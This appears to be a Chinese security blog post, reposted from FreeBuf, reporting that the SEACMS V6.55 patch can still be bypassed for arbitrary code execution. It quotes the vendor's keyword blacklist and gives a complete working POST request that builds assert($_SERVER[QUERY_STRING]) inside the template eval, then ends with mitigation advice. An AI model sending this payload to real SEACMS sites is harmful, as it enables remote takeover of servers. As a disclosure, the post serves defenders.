海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码


Oct 13 2017

海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

首页 » 漏洞收集 » 海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码   

概述

前几天我们公布了海洋CMS(SEACMS)的一个0day漏洞,官方据称是在10月2日发布的V6.55版本中进行了修复,而实际上漏洞并没有被实质性修复,而是仍然存在任意代码执行的问题。

V6.55修复方式

新版本在main.class.php的parseIf函数中增加了黑名单的方式来过滤:

foreach($iar as $v){
            $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
        }
        $iar = $iarok;  

首先用黑名单过滤的方式来解决问题就没有找准漏洞根源,而且这个黑名单也是非常不全面的。

绕过方法

由于php存在大量可执行代码的函数,仅仅过滤上面这些是远远不够的,这里甚至连最常用的assert都没有过滤。对于引入shellcode的地方,仅仅过滤了$_GET、$_POST、$_COOKIE、$_REQUEST,然而HTTP请求数据可以进来的地方还有很多,例如$_SERVER。我们随便构造一个请求即可绕过

POST /seacms/search.php?phpinfo(); HTTP/1.1 Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 201
Connection: keep-alive
Upgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

最终在eval中执行的代码是:

if(assert($_SERVER[QUERY_STRING]));/*xxxxx

而在php中$_SERVER[QUERY_STRING])会被等同于$_SERVER['QUERY_STRING'])执行,这样就不用考虑绕过addslashes的问题了。然后就是把要执行的代码放在query_string中即可。

 

2.png

 

 

漏洞修复

根据云锁监测,目前该0day已经被大规模运用,而且攻击者使用自动化攻击脚本对全网SEACMS进行搜索并实施自动攻击。我们已在9月份向CNVD和厂商报告了漏洞详情,但截至2017.10.9,SEACMS仍然未发布该漏洞的补丁。建议SEACMS用户立即安装云锁并开启文件防上传功能,可暂时避免被自动化程序攻击。或在echoSearchPage()函数中增加一条过滤语句:

if(strpos($searchword,'{searchpage:')) exit;

*本文作者:天择实习生,转载请注明来自FreeBuf.COM

 

正文部分到此结束

文章标签:这篇文章木有标签

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «使用python重写metasploit的exploit | 海洋CMS(SEACMS)0day漏洞预警»

这篇文章还没有收到评论,赶紧来抢沙发吧~